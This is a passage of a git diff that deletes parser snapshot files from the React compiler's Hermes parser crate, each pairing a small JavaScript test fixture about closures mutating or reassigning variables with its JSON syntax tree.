-                    436,
-                    443
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      446,
-                      449
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          450,
-                          455
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "el",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          456,
-                          458
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        450,
-                        458
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    446,
-                    459
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  436,
-                  459
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              430,
-              460
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "fn",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    470,
-                    472
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "VariableDeclaration",
-                        "kind": "const",
-                        "declarations": [
-                          {
-                            "type": "VariableDeclarator",
-                            "id": {
-                              "type": "Identifier",
-                              "name": "arr",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                499,
-                                502
-                              ]
-                            },
-                            "init": {
-                              "type": "ObjectExpression",
-                              "properties": [
-                                {
-                                  "type": "Property",
-                                  "key": {
-                                    "type": "Identifier",
-                                    "name": "element",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      507,
-                                      514
-                                    ]
-                                  },
-                                  "value": {
-                                    "type": "Identifier",
-                                    "name": "element",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      507,
-                                      514
-                                    ]
-                                  },
-                                  "kind": "init",
-                                  "method": false,
-                                  "shorthand": true,
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    507,
-                                    514
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                505,
-                                516
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              499,
-                              516
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          493,
-                          517
-                        ]
-                      },
-                      {
-                        "type": "ReturnStatement",
-                        "argument": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "arr",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              529,
-                              532
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "idx",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              533,
-                              536
-                            ]
-                          },
-                          "computed": true,
-                          "loc": null,
-                          "range": [
-                            529,
-                            537
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          522,
-                          538
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      487,
-                      542
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    475,
-                    542
-                  ],
-                  "loc": null,
-                  "range": [
-                    475,
-                    542
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  470,
-                  542
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              464,
-              543
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "aliasedElement",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    552,
-                    566
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "fn",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      569,
-                      571
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    569,
-                    573
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  552,
-                  573
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              546,
-              574
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  577,
-                  583
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "aliasedElement",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    584,
-                    598
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                577,
-                599
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              577,
-              600
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "aliasedElement",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                610,
-                624
-              ]
-            },
-            "loc": null,
-            "range": [
-              603,
-              625
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          398,
-          627
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        365,
-        627
-      ],
-      "loc": null,
-      "range": [
-        365,
-        627
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    365,
-    627
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-mutate-shadowed-object.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-mutate-shadowed-object.js.snap
deleted file mode 100644
index 2de0412cbbef..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-mutate-shadowed-object.js.snap
+++ /dev/null
@@ -1,294 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/lambda-mutate-shadowed-object.js
----
-Input:
-function Component() {
-  const x = {};
-  {
-    const x = [];
-    const fn = function () {
-      mutate(x);
-    };
-    fn();
-  }
-  return x; // should return {}
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    35,
-                    37
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  31,
-                  37
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              38
-            ]
-          },
-          {
-            "type": "BlockStatement",
-            "body": [
-              {
-                "type": "VariableDeclaration",
-                "kind": "const",
-                "declarations": [
-                  {
-                    "type": "VariableDeclarator",
-                    "id": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        53,
-                        54
-                      ]
-                    },
-                    "init": {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        57,
-                        59
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      53,
-                      59
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  47,
-                  60
-                ]
-              },
-              {
-                "type": "VariableDeclaration",
-                "kind": "const",
-                "declarations": [
-                  {
-                    "type": "VariableDeclarator",
-                    "id": {
-                      "type": "Identifier",
-                      "name": "fn",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        71,
-                        73
-                      ]
-                    },
-                    "init": {
-                      "type": "FunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "mutate",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  96,
-                                  102
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "Identifier",
-                                  "name": "x",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    103,
-                                    104
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                96,
-                                105
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              96,
-                              106
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          88,
-                          112
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        76,
-                        112
-                      ],
-                      "loc": null,
-                      "range": [
-                        76,
-                        112
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      71,
-                      112
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  65,
-                  113
-                ]
-              },
-              {
-                "type": "ExpressionStatement",
-                "expression": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "fn",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      118,
-                      120
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    118,
-                    122
-                  ]
-                },
-                "directive": null,
-                "loc": null,
-                "range": [
-                  118,
-                  123
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              41,
-              127
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                137,
-                138
-              ]
-            },
-            "loc": null,
-            "range": [
-              130,
-              139
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          161
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        161
-      ],
-      "loc": null,
-      "range": [
-        0,
-        161
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    161
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-mutated-non-reactive-to-reactive.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-mutated-non-reactive-to-reactive.js.snap
deleted file mode 100644
index 5493a31f3d45..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-mutated-non-reactive-to-reactive.js.snap
+++ /dev/null
@@ -1,293 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/lambda-mutated-non-reactive-to-reactive.js
----
-Input:
-function f(a) {
-  let x;
-  (() => {
-    x = { a };
-  })();
-  return <div x={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "f",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            11,
-            12
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    22,
-                    23
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  22,
-                  23
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              18,
-              24
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "ArrowFunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            40,
-                            41
-                          ]
-                        },
-                        "right": {
-                          "type": "ObjectExpression",
-                          "properties": [
-                            {
-                              "type": "Property",
-                              "key": {
-                                "type": "Identifier",
-                                "name": "a",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  46,
-                                  47
-                                ]
-                              },
-                              "value": {
-                                "type": "Identifier",
-                                "name": "a",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  46,
-                                  47
-                                ]
-                              },
-                              "kind": "init",
-                              "method": false,
-                              "shorthand": true,
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                46,
-                                47
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            44,
-                            49
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          40,
-                          49
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        40,
-                        50
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    54
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  28,
-                  54
-                ],
-                "expression": false,
-                "loc": null,
-                "range": [
-                  28,
-                  54
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                27,
-                57
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              27,
-              58
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    69,
-                    72
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "x",
-                      "loc": null,
-                      "range": [
-                        73,
-                        74
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          77
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        75,
-                        78
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      73,
-                      78
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  68,
-                  81
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                68,
-                81
-              ]
-            },
-            "loc": null,
-            "range": [
-              61,
-              82
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          14,
-          84
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        84
-      ],
-      "loc": null,
-      "range": [
-        0,
-        84
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    84
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-mutated-ref-non-reactive.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-mutated-ref-non-reactive.js.snap
deleted file mode 100644
index 4cd943c83f57..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-mutated-ref-non-reactive.js.snap
+++ /dev/null
@@ -1,261 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/lambda-mutated-ref-non-reactive.js
----
-Input:
-function f(a) {
-  let x;
-  (() => {
-    x = {};
-  })();
-  // this is not reactive on `x` as `x` is never reactive
-  return <div x={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "f",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            11,
-            12
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    22,
-                    23
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  22,
-                  23
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              18,
-              24
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "ArrowFunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            40,
-                            41
-                          ]
-                        },
-                        "right": {
-                          "type": "ObjectExpression",
-                          "properties": [],
-                          "loc": null,
-                          "range": [
-                            44,
-                            46
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          40,
-                          46
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        40,
-                        47
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    51
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  28,
-                  51
-                ],
-                "expression": false,
-                "loc": null,
-                "range": [
-                  28,
-                  51
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                27,
-                54
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              27,
-              55
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    124,
-                    127
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "x",
-                      "loc": null,
-                      "range": [
-                        128,
-                        129
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          131,
-                          132
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        130,
-                        133
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      128,
-                      133
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  123,
-                  136
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                123,
-                136
-              ]
-            },
-            "loc": null,
-            "range": [
-              116,
-              137
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          14,
-          139
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        139
-      ],
-      "loc": null,
-      "range": [
-        0,
-        139
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    139
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-reassign-primitive.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-reassign-primitive.js.snap
deleted file mode 100644
index 5476654f94d4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-reassign-primitive.js.snap
+++ /dev/null
@@ -1,266 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/lambda-reassign-primitive.js
----
-Input:
-// writing to primitives is not a 'mutate' or 'store' to context references,
-// under current analysis in AnalyzeFunctions.
-// <unknown> $23:TFunction = Function @deps[<unknown>
-//   $21:TPrimitive,<unknown> $22:TPrimitive]:
-
-function Component() {
-  let x = 40;
-
-  const fn = function () {
-    x = x + 1;
-  };
-  fn();
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          235,
-          244
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    255,
-                    256
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 40.0,
-                  "loc": null,
-                  "range": [
-                    259,
-                    261
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  255,
-                  261
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              251,
-              262
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "fn",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    272,
-                    274
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              295,
-                              296
-                            ]
-                          },
-                          "right": {
-                            "type": "BinaryExpression",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                299,
-                                300
-                              ]
-                            },
-                            "operator": "+",
-                            "right": {
-                              "type": "NumericLiteral",
-                              "value": 1.0,
-                              "loc": null,
-                              "range": [
-                                303,
-                                304
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              299,
-                              304
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            295,
-                            304
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          295,
-                          305
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      289,
-                      309
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    277,
-                    309
-                  ],
-                  "loc": null,
-                  "range": [
-                    277,
-                    309
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  272,
-                  309
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              266,
-              310
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "fn",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  313,
-                  315
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                313,
-                317
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              313,
-              318
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                328,
-                329
-              ]
-            },
-            "loc": null,
-            "range": [
-              321,
-              330
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          247,
-          332
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        226,
-        332
-      ],
-      "loc": null,
-      "range": [
-        226,
-        332
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    226,
-    332
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-reassign-shadowed-primitive.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-reassign-shadowed-primitive.js.snap
deleted file mode 100644
index e648de8b656b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@lambda-reassign-shadowed-primitive.js.snap
+++ /dev/null
@@ -1,292 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/lambda-reassign-shadowed-primitive.js
----
-Input:
-function Component() {
-  const x = {};
-  {
-    let x = 56;
-    const fn = function () {
-      x = 42;
-    };
-    fn();
-  }
-  return x; // should return {}
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    35,
-                    37
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  31,
-                  37
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              38
-            ]
-          },
-          {
-            "type": "BlockStatement",
-            "body": [
-              {
-                "type": "VariableDeclaration",
-                "kind": "let",
-                "declarations": [
-                  {
-                    "type": "VariableDeclarator",
-                    "id": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        51,
-                        52
-                      ]
-                    },
-                    "init": {
-                      "type": "NumericLiteral",
-                      "value": 56.0,
-                      "loc": null,
-                      "range": [
-                        55,
-                        57
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      51,
-                      57
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  47,
-                  58
-                ]
-              },
-              {
-                "type": "VariableDeclaration",
-                "kind": "const",
-                "declarations": [
-                  {
-                    "type": "VariableDeclarator",
-                    "id": {
-                      "type": "Identifier",
-                      "name": "fn",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        69,
-                        71
-                      ]
-                    },
-                    "init": {
-                      "type": "FunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "AssignmentExpression",
-                              "operator": "=",
-                              "left": {
-                                "type": "Identifier",
-                                "name": "x",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  94,
-                                  95
-                                ]
-                              },
-                              "right": {
-                                "type": "NumericLiteral",
-                                "value": 42.0,
-                                "loc": null,
-                                "range": [
-                                  98,
-                                  100
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                94,
-                                100
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              94,
-                              101
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          86,
-                          107
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        74,
-                        107
-                      ],
-                      "loc": null,
-                      "range": [
-                        74,
-                        107
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      69,
-                      107
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  63,
-                  108
-                ]
-              },
-              {
-                "type": "ExpressionStatement",
-                "expression": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "fn",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      113,
-                      115
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    113,
-                    117
-                  ]
-                },
-                "directive": null,
-                "loc": null,
-                "range": [
-                  113,
-                  118
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              41,
-              122
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                132,
-                133
-              ]
-            },
-            "loc": null,
-            "range": [
-              125,
-              134
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          156
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        156
